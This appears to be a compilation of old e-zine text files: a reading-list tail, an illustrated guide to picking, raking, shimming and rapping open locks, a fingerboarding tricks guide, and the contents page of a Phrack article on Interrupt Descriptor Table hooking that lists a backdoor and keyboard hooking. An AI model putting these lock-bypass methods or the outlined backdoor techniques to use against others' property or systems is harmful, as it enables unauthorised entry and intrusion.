[7] The Design and Implementation of the 4.4BSD Operating System, Marshall Kirk McKusick (Editor), Keith Bostic, Michael J. Karels (Editor) Addison‑Wesley Pub Co; ISBN: 0201549794

These guys are all deep geeks. If you don't believe me, look at the group photo on the inside cover. This book is a comprehensive overview of the FreeBSD OS.

[8] The Undocumented PC : A Programmer's Guide, Frank Van Gilluwe, Addison‑Wesley Pub, ISBN: 0201479508

If you're doing I/O on Intel, it truly helps to have this book.

[9] Control Data Corporation

There are a numerous old fogeys from Control Data that I would like to thank for offering their help and advice. Control Data was killed by its management, but there

were a handful of gifted engineers, like Cray, who made sure that some of the good ideas found a home.

[10] IBM and the Holocaust: The Strategic Alliance Between Nazi Germany and America's Most Powerful Corporation, Edwin Black,

Three Rivers Press; ISBN: 0609808990

I originally heard about this through one of Dave Emory's radio broadcasts. Mae Brussell would agree ... profit at

any cost is not a good thing.

I would like to thank George Matkovitz, who wrote the first message‑based kernel in the world, and Mike Adler, a compiler wizard who was there when Cray whipped IBM for sharing their thoughts and experiences with me.

<EOF>

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

L O C K P I C K I N G BY

/< n i g h t m a r e

As per usual, I accept no responsibility for your actions using this file; It is only here to show how locksmiths gain access when keys are missing or broken.

CONTENTS

INTRODUCTION

1 The warded Lock

2 Pin‑tumbler lock and wafer locks

3 Wafer locks

4 The tension wrench turning tool

5 Raking pin‑tumbler locks and wafer cylinder locks

6 Picking locks without a Turning tool

7 The lock gun

9 Pure picking

10 Opening locks without picking

11 Rapping open locks

12 TOOLS AND APPARATUS

INTRODUCTION

The main purpose of writing this work is to provide the modern student with an up‑to‑date, accurate book to enable him to explore the fascinating subject of lock picking. In by gone years, people who were drawn to magic of the lock, were tempted to 'pick locks', and were confronted by obstacles to protect the lock, such as devices which would shoot steel barbs into the picker's hands. vicious toothed jaws were employed to cut off the thiefs fingers. perhaps the most fearsome lock pick deterrent was a devilish device which would fire a bullet if the locking mechanism was tampered with.

Books and manuscripts over the years change hands. Unfortunately, in the case of this type of work, it could fall into the wrong hands. However unlike such works as '1001 ways to have fun with a Frankfurter', the person who is merely curious will find this work tiresome and unpalatable, leaving the true enthusiasts to explore the teasing allure of the lock. This unique animal who has ingenuity and patience to follow through the fascinating study, will be rewarded in the knowledge that he is in the elite company that I salute in this work. for the people who argue books on this subject should not be written, I would like to point out that a villain who wishes to gain entry into a property in happier with a brick than a pick.

Have fun and enjoy your new hobby or trade !

CHAPTER 1: THE WARDED LOCK

Probably the best place to begin this book is at the point at which mass lock manufacture began, with the WARDED LOCK. These locks are generally of simple construction, These are of simple construction and generally, and therefore recommended for the beginner. The dictionary defines 'ward' as 'to guard, keep away, or to fend off', which in reality is exactly what the lock does.

(See FIG. 1.) The small circular section is the ward with the wrong type of key attempting to open the lock. Ti is quite obvious that if this key were to be turned, its turning path would be halted by the protruding ward.

___________ ____

________ ) / \ \

| _| | | | <‑Wards | [ | | |

|[ \____/ Bit ‑> |__[ \____/

FIG. 1 FIG. 2

FIG. 2 shows the correct key which will open the warded lock. It has just the right cuts on the bit to miss the wards. warded locks are found in many forms. FIG. 3 is a normal key, with an intricate patterned bit which would open an old and beautifully designed, elaborate ward lock. At this point, I would like to say that key collecting had become a hobby for many people. Since keys are quite easy to come by, a nice display can soon be obtained.

__

/ \__.,‑,________

\__/‑‑.,‑,‑‑‑‑‑‑‑‑'

[]

[[

Normal Key

FIG. 3

the security of the warded lock was further enhanced by the shape of the key hole, preventing entry to everything apart from the correct key. the extravagant shapes, in both the wards and the key holes, are the only problems which we must overcome in picking open the warded lock. we do this by inserting a pick, which is much thinner than the lock's keyhole, or by using a skeleton key. FIG. 5 shows this best in the case of the skeleton key, which would open the same lock which is in our FIG. 3. This skeleton key has been cut from a blank. The area which would fool the locks ward's has been removed, forming the new key. For the complete newcomer the world of locks, I should explain that the word 'blank' is the name given to the key before it is cut to the desired shape.

______

| /\ |

| || |

| \\ |

| // |

| C| | skeleton|'‑. .‑'|

| || | key '‑‑' '‑‑'

|______|

FIG. 4 FIG. 5

FIG. 6 looks inside a typical warded padlock. It is clear that, because of the wards which obstruct the turning, only the correct key (as shown) will open this lock. it is guarded by six, close‑fitting wards, and also by the small, thin keyhole.

_____

/ ___

__/ / \

| \___/

\

\____ _

/ \

______| |

| __ (

.‑‑‑> | (__| | |

| | <

Wards ‑‑‑|‑‑‑> | ====| |==== |

| | (

'‑‑‑> | =====|_ _|

| [[[[(_____

| (_)

|___________

Y Y

|

Opening spring

FIG. 7 shows how we overcome this lock with a key that has been skeletoned, and which will now open this and many others.

This has been achieved by removing all the projections other than the end which comes into contact with the spring‑opening point.

Take a look and make sure you read and understand this before moving on.

_

_ __nn_n/ \_

(_| |______ o_:

_ __ _\_

U UU U

FIG. 7

FIG. 8 is a warded pick in it's most simple form ‑ a coil spring with it's end bend and flattened. If the coil is of suitable diameter, it will fit onto the end of your index finger. This forms, as it were, an extension of your finger, and you will find that it is a highly sensitive tool to fell the layout of the interior and so find and trigger the mechanism. This sensitive manipulation can be achieved only with practice. If the spring pick becomes weak or bent simply pull out a new length from the coil and you have a brand new tool.

Before we move on, I would suggest that you build up a large set of picks of different sizes.

___________________

|

| /\/\/\/\/\/\/\/\/

|___________________

Coil Spring

FIG. 8

Look inside as many locks as possible ‑‑ it's the finest way of becoming a lock expert. picking locks is a true art form and even more difficult than learning to play a musical instrument proficiently.

Here is a useful lock picking set to make:

____

/ \__

\____/

____

/ \__

\____/

____

/ \__

\____/

____

/ \__

\____/

____

/ \__

\____/

____

/ \__

\____/

FIG. 9

In summing up the subject of warded locks, I would say that once you have clearly understood that the wards simply guard the opening, and also that the actual shape of the keyhole prevents the wrong key entering, you are well on the right path to becoming a total master at this type of lock. start looking for warded locks: they are usually older locks or at the cheap end of the market.

The most difficult task before the novice must be to identify the particular type of lock he is trying to pick. Is the lock a WAFER or PIN‑TUMBLER? Or, in the case of the raw beginner, is the lock a LEVER or PIN‑TUMBLER? There is no simple answer. The ability to identify the particular types comes only with practice and study.

Open up as many old locks as you can and study the principles, LOOKING ALL THE TIME FOR WEAK POINTS which are built into the design. Believe me, ALL locks have weak points.

CHAPTER 2: PIN TUMBLER and WAFER LOCKS

As in all lock picking, it is an advantage that the student is fully conversant with the basic operation of the lock. In the case of the PIN‑TUMBLER and WAFER it is absolutely vital. The number of times I have read leading works on the subject, and then asked myself if I would fully understand how the lock worked from their description ! each book I read failed to explain accurately and precisely how these locks work and can be picked. what follows is my own humble effort to right this wrong. You yourself must judge if I have obtained this objective.

When we first look at this type of lock, it would appear that all necessary to insert a small implement into the keyway and give it a turn for the device to open. plainly this is not the case, as we can see when we take a closer look at FIG. 10 This is a typical PIN‑TUMBLER lock, and generally consists of pairs of bottom pins made from brass and with the top drivers formed in steel. Commonly, five pairs of pins are found. in the smaller, cheaper models, four are more common.

______________________________

\ K

| | | | | | / E

| | | | \ Y [|] Upper tumbler pin

^ ^ / H [^] Lower tumbler pin

^ ^ ^ ^ ^ ^ \ O [‑] Cylinder wall

/ L This is a greatly simplified

\ E drawing

______________________________/

FIG. 10

_______

Shear Line / ___ \

‑ ‑ ‑ ‑ ‑| |///| | <‑‑ Springs

/ |[ ]|<‑\‑‑‑‑‑ Top Drivers

Plug\ \ @ /<‑/‑‑‑‑‑ Bottom Pins

\___|___/

Key

FIG. 11

_______

Shear Line / ___ \

‑ ‑ ‑ ‑ ‑| |///| |

/ |[ ]| /\

\ / / / <‑‑ Plug Turning

\___///_/

FIG. 11a

Shearing Line ‑‑> __ _ ___ _ ___ _ ___ / \A

/ _ _ _ _

/ |_||_||_||_|K

\ / \/\/\/\/\/E

\____________Y

FIG. 12

FIG. 11 is the end‑view of the arrangement. Each of the locks shown in FIGS. 10, 11 and 12 are ready to open, since in each case they have been given the right key ready to turn the plug.

FIG. 12 shows each of the five bottom brass pins settled into it's own notch along the key. This ha the effect of bringing the point between the drivers and the pins EXACTLY to the same height. ONLY THE PROPER KEY WILL ALIGN ALL FIVE PINS AT THIS HEIGHT, WHICH WE CALL THE SHEAR OR SHEARING LINE, AT THE SAME TIME. All five pins must be in line together, and, when we have this state of affairs, the plug will turn opening the lock. FIG. 11a shows the plug starting to turn. FIG. 11 is an end‑view, and shows the shaded plug ready to turn. Make sure you fully understand this before you go on. Most students fail to understand that the bottom brass pins TURN WITH THE PLUG. FIG. 13 shows this. the top holding drivers stay put in the chambers in the outer case. Remember that the bottom pins must turn with the plug because they are contained within unit. It is important to know that if only one notch on the key is even SLIGHTLY wrong, too high or too low, the plug would be prevented from turning, just one pin, sitting into this plug from the outer case, has such an amazing strength that it would be impossible to snap ‑‑ such is the power of each little pin.

:::::

___ ##### <‑‑ Top Drivers

/ \ooooo Plug Turning |

\___/===== <'

OOOOO <‑‑ Bottom pins

FIG. 13

I have cut away the plug in FIG. 13 and the pins can clearly be seen in the turning motion. With all the required points within the lock aligned, the plug must and will turn. However, let us take a look at what would happen if the wrong key were inserted. FIG. 14 shows this, with the top drivers, still inside the plugs, preventing it from turning. The wrong key is just as bad as no key, and the lock stays locked.

Chambers

______/___|___\_____

| / | \

| \/ V \/ |

| __ __ __

‑‑‑‑‑‑‑‑| __ | | | | | |Shear line

Plug ‑‑> _|_| |_| |_| |_| |_|_

[ | | | | | | | | |

[ | '‑‑' '‑‑' '‑‑' '‑‑'

[ | .‑‑. .‑‑. .‑‑. .‑‑.

[ | '‑‑' '‑‑' '‑‑' '‑‑'

[_|____________________

'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FIG. 14

FIG. 15 is the end‑view, showing the top driver inside the plug, preventing the turning, and the driver just below the shearing line. I have already said that these little drivers are manufactured from steel and are very strong indeed, overcoming any force that a normal wrong key or instrument could present. even if there were only one little driver inside the plug, it would still be unable to rotate, or be snapped at the shear line. Now multiply that strength by five, and I am sure that you will understand it's almost superhuman strength. Before I move on I must explain that there a no skeleton keys which will magically open this lock, or it's brother the WAFER.

Note top drivers are inside plug

______ preventing any turning

/______\

// == \\

|| == ||

|| () ||

Shearing line ‑‑> ‑‑‑‑‑||‑[||]‑||‑‑‑‑‑

|| [==] ||

\\__##__// Bottom pins

\______/ Plug

FIG. 15

The turning tool replaces the bottom part of the key, and the pick replaces the notches on the key. Just think of the turning tool as part of the key, and the pick as the notches. Once you have all the points inside the line, only a small amount of light pressure is needed to turn the plug. Most books on the subject stress that too much pressure is wrong. FIG. 20 shows the top driver inside the chamber binding on three points, because the tension is too great. Trial and error seems to be the only true way, with only light turning applied.

Chapter 3: WAFER LOCKS

FIG. 16 shows a single‑sided wafer lock. This type of lock contains WAFERS instead of pins and drivers, and is known as a DISC‑TUMBLER instead of a pin tumbler. the wafers, five as in a pin‑tumbler, are held in place by a small, light spring, as shown (left hand side) of FIGS. 16 and 17. FIG. 16 shows the lock closed, and FIG. 17 open. The wafer lock is best opened by RAKING, which is explained later in this work.

________

/ __ \

=| / \ |

=| | | |

/_ \__/ |

\__ __/

‑‑.\__/.‑‑

'‑‑‑‑'

Locked Unlocked

FIG. 16 FIG. 17

Chapter 4: THE TENSION WRENCH TURNING TOOL

Probably the single most important factor in lock manipulation is the use of the TENSION WRENCH which I prefer to call the TURNING TOOL. perhaps if it had been given this name in the first place, hundreds of aspiring locksmiths would have had greater instant success. I maintain that the word 'tension' implies that great pressure has to be exerted by this tool. Add to this the word 'wrench' and totally the wrong impression is given. in order that you will fully understand the use of this turning tool, I will explain it's simple function. FIG. 18 shows an normal pin‑tumbler or wafer key; FIG. 19 shows the key cut away. This bottom section is now a turning tool. the reality is that the notches along the key would lift the bottom pins level with the shearing line, and the part beneath would turn the plug.

____ ____ ,_^^

/ \,_^^,^,‑.‑^. / \/'_____

\____/‑‑‑‑‑‑‑‑‑‑‑' \____/‑‑‑‑‑‑‑Turning tool

FIG. 18 FIG. 19

The turning tool replaces the bottom part of the key, and the pick replaces the notches on the key. Just think of the turning tool as part of the key, and the picks as the notches. Once you have all of the points inside the line, only a small amount of light pressure is needed to turn the plug. Most books on the subject stress that too much pressure is wrong. The student must first know why too much tension is wrong. FIG. 20 shows the top driver inside the chamber binding on the tree points, because the tension is too great. Trial and error seems to be the only true way, with only light turning applied

____

| ‑‑Spring

| .‑Top chamber

| '‑

| .‑

| _'‑Binding

||

|| V

______||

‑‑‑‑‑‑.|___Shear line

| Binding

FIG. 20

If you are raking open a lock, no real pressure need be applied because the pins and wafers MUST be free to bounce into line with the shearing line. if too much pressure is used, it prevents this as shown in FIG. 20. Multiply the one shown by, and you can imagine the lock is well and truly bound tight. I have used a lot of words in trying to say what has not been put in print before.

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

|

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

| TURNING TOOLS

FIG. 21

The turning tools are shown in FIG. 21. Once again, I get onto my high horse, and say that it is not necessary to have lots of different turning tools in your kit. it is complete nonsense to have light, medium and heavy tools. Further confusing the is the term used to rigidity of the different types. This is termed the 'weight', but most of my students mistakenly assume the actual weight is important to the turning potential. the best is to choose a medium weight tension wrench and from then on call it a turning tool. If I am not careful I will change the whole lock picking vocabulary.

The best and easiest wafer or pin‑tumbler locks to open are the ones which contain the smaller pin or wafer sizes together in the same lock, i.e. small pins in each chamber and ideally all about the same length. When this state exists, the method to open the lock is by RAKING.

Chapter 5: RAKING PIN‑TUMBLER AND WAFER CYLINDER LOCKS

The first plan of attack on any lock of this type, whether it is a padlock protected with this locking arrangement, a door on a car or a house, is to try raking. the turning tool fits into the bottom section of the keyway, as shown in FIG. 22, with just the weight of your finger. No visible bend should be seen on the tool, otherwise it will be found impossible to pick open the lock with this method.

_________________

/ the tools got to

/ be at 45 DEG.

/ ______ parallel like

\ / n \ / so: //

\ ********@____/

\ / the pick

\ / turning tool

\____/__________

FIG. 22

Using the picks shown in FIG. 23, we rake the lock, as we shall explain later, starting with pick number one and working up through until you open the lock. Perhaps, before we get down to the actual method of raking, we had better take a close look at the make‑up of this tool, known as a RAKE. Look again at FIG. 23. Notice that 1B is just the same as 1A except that it has been cut in half, giving the half double ball. 1C is a silhouette of them both.

If we look closely at 2A, 2B and 2C, we find they are arranged just the same as the first group. 3A, 3B and 3C are know as DIAMONDS because of their shape. There seems to be no reason for A, B and C in each of the groups 1, 2 and 3 other than, in the case of the diamonds, for use in smaller locks. Don't let the different sizes bother you, but just use whatever you have in your set.

RAKING TOOLS

FIG. 23

1A 1B 1C

|

‑ | /

| /| \

/ \ / \ / \

| | | | | |

| | | | | |

| | | | | |

| | | | | |

| | | | | |

|_| |_| |_|

Double Half Silhouette

Ball Double Double

Rake Ball Rake Ball Rake

2A 2B 2C

o

| o /

/\ \ |

/ \ / \ / \

| | | | | |

| | | | | |

| | | | | |

| | | | | |

| | | | | |

|__| |_| |_|

Full single Half Single Silhouette

Ball Rake Ball Rake Single Ball Rake

3A 3B 3C

< <| _

| <| | /_| Handy

| /| | || Double

/| / | /| 4 || || Ended

| | | | | | || Rake

| | | | | | ||

| | | | | | ||

| | | | | | / \

| | | | | | | |

|_| |_| |_| /____\

3 Diamond Rakes

In FIG. 23 I have included a number 4, which is sometimes mistaken by students for a raking tool, but which is, in fact, a broken key extractor, and has nothing to do with raking. I have shown it's end in close up in the illustration so that there can be no mistake. The number 5 is a double‑ended rake, which combines on one end a diamond and on the other a silhouette double ball.

HOW RAKING WORKS

While we are taking a close look at things, it is a good time to do the same thing with the action of raking, in order that you will fully understand how it works. Select any of the number 1 raking tools (FIG. 23), and insert it into the lock so that it touches the back of the lock and is in contact with the back bottom pin of the lock. The pick is then drawn from the back of the lock very quickly (see FIG. 24).

Rake is pulled out

causing top driver

and bottom pin to

===== ===== ===== =====vibrate about the

===== ===== ===== =====shear line.

.‑‑‑. .‑‑‑. .‑‑‑. .‑‑‑.

| | | | | | | |

Shearing | | | | | | | | | V | Shearing

Line ______ '‑‑‑' '‑‑‑' '‑‑‑' '‑‑‑' '‑Line

.‑‑‑. .‑‑‑. .‑‑‑. .‑‑‑.

Front of | | | | | | | | | ^ | Back

Lock '‑‑‑' '‑‑‑' '‑‑‑' '‑‑‑' '‑v‑'_ of the

/‑\___________________________________

(______________________________________

Rake being pulled out

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This action has the effect of causing all the pins, which have been in contact momentarily with the rake's passage out of the cylinder to vibrate, each pin lifts the top driver out of the plug with this vibrating momentum given> The whole thing is really a bit hit and miss, because some of the top drivers will be out will others are still holding the plug. We must repeat with the same rake about twenty times, and only if unsuccessful then move on to another, following the pattern outlined in FIG. 23.

When we rake a lock, we are raising the pins inside the lock to the shear line. moving through the different shaped picks varies the pattern of the lift as the tool is repeatedly drawn out. The pins and drivers are bouncing about the shear line, just waiting to please you and be at the right height to open as you turn with your turning tool, which has been in place throughout. I MUST STRESS THAT THE TURNING TOOL HAS NOT BEEN EXERTING A CONSTANT TURNING PRESSURE, OTHERWISE THE PINS WOULD BIND, AS SHOWN IN FIG. 20. The pressure exerted is best described as a pulsating one. Gentle pressure must only be on as the rake is leaving the lock on the way out. No pressure is on as the pins are vibrating. The pins vibrate and the pulsating turning tool turns the plug, so opening the lock. If too much pressure is applied at the opening wrong moment, binding takes place and picking is impossible.

Normally, I first test a lock by inserting my Turing tool into the lock, turning it in both directions. Any slight movement tells me a few things about the locks without actually seeing inside it. If has a lot of movement in each direction, then it is going to be an easy lock to open. Its general condition tells me if it is an old, worn or cheap lock. if you find little movement an the lock is known to be a good one, then it is going to take a little longer or require another technique.

Chapter 6: PICKING LOCKS WITHOUT A TURNING TOOL

A useful tip, for those long practice sessions or demonstrations, is to bend the connecting cam downwards as shown in FIG. 25. If the lock is held as shown in FIG. 26 you will find that it eliminates the use of the turning tool. My advice to the beginner is to try raking with the index finger, pulsating on the lock's cam.

_

( )‑‑‑‑‑‑‑‑‑‑.

| |__________|____

| | )_

| | )

| | )____

| | LOCK )‑‑‑.|

| | _) ^||

| | ___) / ||

| | | / '' <‑‑ Cam

(_)‑‑‑‑‑‑‑‑‑‑‑' BEND

FIG. 25

_

/ \____ Finger provides

/ \ \_) <‑‑‑‑‑ turning

/___/‑\ \

/ / (__)

_||_

(____)

||

||

||

||

||

||

FIG. 26 '' Pick held in other hand

Another practice tip is to remove two sets of pins and drivers, leaving three sets within the lock, thereby reducing the strength and making it a little easier to manipulate.

Chapter 7: THE LOCK GUN

This useful tool is really a super raking device. pulling the trigger causes the needle probes to flick upwards, and this has the effect of bouncing the pins about the shearing line. this tool is capable of producing a continuous vibration of the pins, making picking easy. It is a useful tool, and a nice addition to your toolkit. The gun is shown in FIG. 27.

_______/\

<.|‑ \__

\ \_______

\ |_/

/ . _____| =[]

/ | \\ \

/ / \\ \__

/ . / (|

|_____/ .‑‑‑‑‑‑

Lock Gun |

FIG. 27

Chapter 8: THE LOCK MASTER

Before we leave raking, perhaps we had better look at my own invention, the LOCK MASTER, which has certain advantages over the lock gun, and even more disadvantages. That said, its main advantage is a big one ‑‑ it completely eliminates the need for a turning tool. Its bottom section has its own turning tool built in. FIG. 28 shows the tool. the top is flicked with the index finger nail, and the probe is returned to the horizontal by means of two small springs. the finger snaps away while the master is twisted, again in the pulsating fashion. The main disadvantage is that you have to have different LOCK MASTERS for different size lock.

________________

/‑‑‑‑‑‑‑‑‑‑#‑(.)‑\‑

___________#_(.)_

(______________ )____ Lock Master

/\__) \

| |

\________/

FIG. 28

Chapter 9: PURE PICKING

I like to think of my next section as 'pure picking', because that is precisely what we do. Each pin is lifted in turn, lifting the driver clear of the plug. Remember that earlier I advised the beginner to remove a couple of set of pins and drivers. This is perhaps when you will find this most useful. Turning is applied by the turning tool, or my own bent cam motion. The HOOK PICKS shown in FIG. 29 are used.

Pure picking

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑. \ Top __ __ __

| | Chambers |==||==||==|

/ \ / \ '‑‑‑‑‑‑‑> |==||==

| | | | ____|‑‑||‑‑Shear Line

| | | | '‑‑''‑‑

| | | | .‑‑..‑‑

| | | | '‑‑''‑‑

| | | |

| | | |

| | | | ______

| | | | Hook lifting Pin to

'‑' '‑' Shearing Line

Hook Picks

FIG. 30

FIG. 30

It requires a fair measure of practice, and even more patience, but the rewards once you are a master of this technique are more than words can convey. Using whatever method you choose to turn the plug, FIG. 30 shows the pick lifting the pins one at a time until they are pushed out of the plug into the top chambers. All the time, a very gentle turning motion has been applied by means of the turning tool. FIG. 31 shows the lock set to open.

Set to open

___ ___ ___

| = || = || = |

|.‑.||.‑.||.‑.| Notice how the

Shear line ___|'‑'||'‑'||'‑'|___ bottom pins line

_ _ _ <‑‑‑‑‑up precisely on

| | | | | | the shear line

'‑' '‑' '‑'

FIG. 31

____________

U‑‑‑‑(____________) Small

____________

\‑‑‑‑(____________) Medium

____________

|____(____________) Large

Three sizes of Hook Picks

FIG. 32

Use the correct size of hook pick, by first trying the smallest. see FIG. 32. Practice this, and you will have a gem.

Chapter 10: OPENING LOCKS WITHOUT ACTUAL PICKING

FIG. 33 some points of attack which you will find convenient, and which have been unknowingly built into the lock's construction by the manufacturer. The method is known as shimming. FIG. 34 shows a collection of springs and probes. go along to your local watchmaker and obtain as many as you can. Add to this blades from junior hacksaws, coping and fretsaws and you will soon have a fine collection.

FIG. 33

________ X

X / ______ \ /

\ / / \ \

\__/ /________\ \__

|\ |_|_‑‑‑‑‑‑ | | |

| |_,‑.‑‑‑‑.#| | |

X‑‑‑‑|‑‑| ||_.‑‑._||=| |

| '‑' .‑''‑. |=| |

| | | |=| |

| | | |=| |

| '‑‑‑‑' '=' |

|__________________|

Old Clock springs

_____________ ________________ ______

|_____________| [________________]'‑‑‑‑‑Small,Med,Large

Saw Blades

____________\_

______________) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑, ____

\ VVVVVVVVVVVVVVVVV vvvvvvvvvvvvvvvvvv' FIG. 34

Taking advantage of the lock's weak points, we insert our clock spring or saw blade between the point where the two halves of the lock case meet, or down the side of the shackle, following the line of the bow, and so pushing back the spring‑loaded bolt.

CHAPTER 11: RAPPING OPEN LOCKS

Look at my FIG. 35, which shows a pin‑tumbler lock about to be opened by rapping. the blow must be sharp but not heavy.

___ Sharp

| | Blow

FIG. 35 _| |_

\ / Pins

\ / __ line up

\ / | | on the

________V_____| | Shear Line

Blow causes | __ _ _ _ _ |

the pins and | |==||=|=|=|=| |

drivers to |‑|V ||V|V|V|V|___| Shearing

vibrate ‑‑‑‑‑| |^ ||^|^|^|^| |‑‑‑‑‑‑‑

| |V ||V|V|V|V| | Line

| |‑‑||‑|‑|‑|‑| |

| '‑‑''‑'‑'‑'‑' |

'______________ |

| |

|__|

How Rapping works

The blow should be only to the point shown. It has the effect of causing the pins to vibrate and to split at the shearing line, as in raking and the lock gun methods. Just as in the other methods, we use the turning tool together with the pulsating movement. Try rapping open a spring‑loaded bow (shackle) padlock before you try a pin‑tumbler or wafer lock. (See FIG. 36)

______

/,^‑‑. \

__ __/ /

/ \___/ / /

/ ‑‑‑. __ \

/ _/ ( \

/ C. / \

\ \\ (o) / <‑‑‑ Sharp blow at this

\ \, | / point opens the lock

\___________/

Vibration causes lock to open like magic

TOOLS AND APPARATUS

FOR USE IN LOCK PICKING

1 Small vice, from watchmaker's suppliers, with 2" jaws.

2 A selection of small files, from watchmaker's suppliers.

3 A junior hacksaw from hardware stores.

4 A selection of saw blades, from hardware stores.

5 Leaf gauges, from a garage.

6 Piano wire, from music shop.

7 Lock picks, from locksmiths.

8 Old clock springs, from local watchmaker.

9 Wire cutters, from hardware stores.

10 Collection of blank keys, from locksmiths.

11 Lock gun from locksmiths.

12 Oil, from hardware stores.

13 Lots of old locks, from friends.

14 Pencil torch.

15 Strong magnifying glass.

16 Patience, and a bottomless coffee pot.

Get together as many locks of all types as possible. ask your friends if they can find you any old locks for which they have lost the keys. After experimenting with the locks, open them up to find out how they work. This is the finest way to becoming a true lock expert.

If you are beaten by a particular lock, dont despair. I know the feeling all to well. it's back to the drawing board, or, more correctly, the workshop. Open it up, study it's workings, then re‑assemble. always LOOK FOR ITS WEAK POINTS. believe me, it will have some; you just have to look long enough and hard enough. Locks are like a chain, as strong as the weakest link.

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Spyke's Beginner Guide 2

FFF III N N GGG EEE RRR BBB OOO AAA RRR DD III N N GGG

F I NN N G E R R B B O O A A R R D D I NN N G

FFF I N NN G EEE RRR BBB O O AAA RRR D D I N NN G

F I N N G G E RR B B O O A A RR D D I N N G G

F III N N GGG EEE R R BBB OOO A A R R DD III N N GGG

~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑

(Like anyone wants to know..

Just somin' to do in your

Spare time!)

~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑

Sections

‑‑‑‑‑‑‑‑

1. How to perform ollies

2. How to perform Backflips

3. How to perform shuv‑its (in air)

4. How to perform Grinds

4.1 Boardslide

4.2 Darkslide

5. How to get a fingerboard

~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑

Section : 1. How to perform ollies

==================================

The ollie is possibly the first fingerboarding trick in

which you should learn. It allows you to pop your finger‑

board into the air with your fingers allowing you to jump

Onto OR over (small) objects.

the first part of the ollie is to put you fingers in the correct possition (as you can see in {Fig. A}) with one

finger flat on the tail and another right behind were the

trucks are on the top.

{Fig. A}

Key

‑‑‑‑‑‑‑

F=Finger \=Left Tail 0=Wheel

/=Right Tail ^=Trucks _=Part of deck

\____F__________F/

^0^ ^0^

Next you hit the tail (with the finger that is placed on

on the tail) lift hand and push forwards.

After practice you //should// be able to get the board

into the air a few inchs ({Fig. B}).

{Fig. B}

|

0\F

\

\

\

\

0\_F

~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑

Section : 2. How to perform Backflips

=====================================

The back flip on a finger board if diffurent to a backflip

on a skateboard in the way that your fingers do not flip

360 degrees verticly (That would break your wrist) but they hover above the board while it flips.

Firstly put your fingers into the ollie postition (Shown

above in {Fig. A}), and hit the tail hard. Quickly lift

your fingers up into the air and the board //should// flip

in the air verticaly. Now for the hard bit : wait until

the board flips 360 degrees then drop your fingers so it

lands the correct way up,this movemnt has to be farely

fast to work.

~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑

Section : 3. How to perform shuv‑its (in Air)

========================================

The shuv‑it (in Air) is were you ollie your board so

it spins 180 degrees horizontaly.

To do this trick you must place your fingers in the ollie postition but with the tail‑finger on the side on the board,

not the middle (Shown in {Fig. C}), next you ollie but when

you hit the tail you also turn you hand a little bit.

{Fig. C}

______________________F

/ . . . . \

| . .F . . |

\_______________________/

When the board is (hopefully) spinning in the air hit it

down after it has made a full 180 degree turn.

~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑

Section : 4. How to perform Grinds

==================================

To grind, ollie the board onto the edge of somthing OR

onto a pencil of bar.

Section : 4.1 Boardslide

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ollie the board and turn it 90 degrees in the air

onto a thin object/edge of somthing then, push smoothly

across (Refer to {Fig. D}), to land push the board off

the object and turn 90 degrees back to the orginal

position.

{Fig. D}

_

/F\

|. .|

|. .|

| |

‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑

‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑Grinding Object

| F |

|. .|

|. .|

\_/

Section : 4.2 Darkslide

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The darkslide is a grinding trick were you flip the board

upside down, grind it upside down, then flip it the

correct way up. It is technically an upside‑down

Boardslide.

Firstly put your fingers into an ollie postition and move

the board towards the grinding objects, when you are close annouf to ollie onto it, flip your board 180 degrees so

it is upside down, and push it onto the grinding object.

Push it forwards assuming pressure to the front, when you

get to the end of the grinding object attemp to flip the

board the correct way up.

Section : 5 How to get a fingerboard

====================================

Search in some local shops near you or buy them online from:

http://www.skateboard.com/techdeckshop/

Handling the Interrupt Descriptor Table

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12

|=‑‑‑‑‑=[ Handling Interrupt Descriptor Table for fun and profit ]=‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ kad, <kadamyse@altern.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ Presentation

2.1 ‑ What is an interrupt?

2.2 ‑ Interrupts and exceptions

2.3 ‑ Interrupt vector

2.4 ‑ What is IDT?

3 ‑ Exceptions

3.1 ‑ List of exceptions

3.2 ‑ Whats happening when an exception appears ?

3.3 ‑ Hooking by mammon

3.4 ‑ Generic interrupt hooking

3.5 ‑ Hooking for profit : our first backdoor

3.6 ‑ Hooking for fun

4 ‑ The hardware interrupt

4.1 ‑ How does It work ?

4.2 ‑ Initialization and activation of a bottom half

4.3 ‑ Hooking of the keyboard interrupt

5 ‑ Exception programmed for the system call

5.1 ‑ List of syscalls

5.2 ‑ How does a syscall work ?

5.3 ‑ Hooking for profit

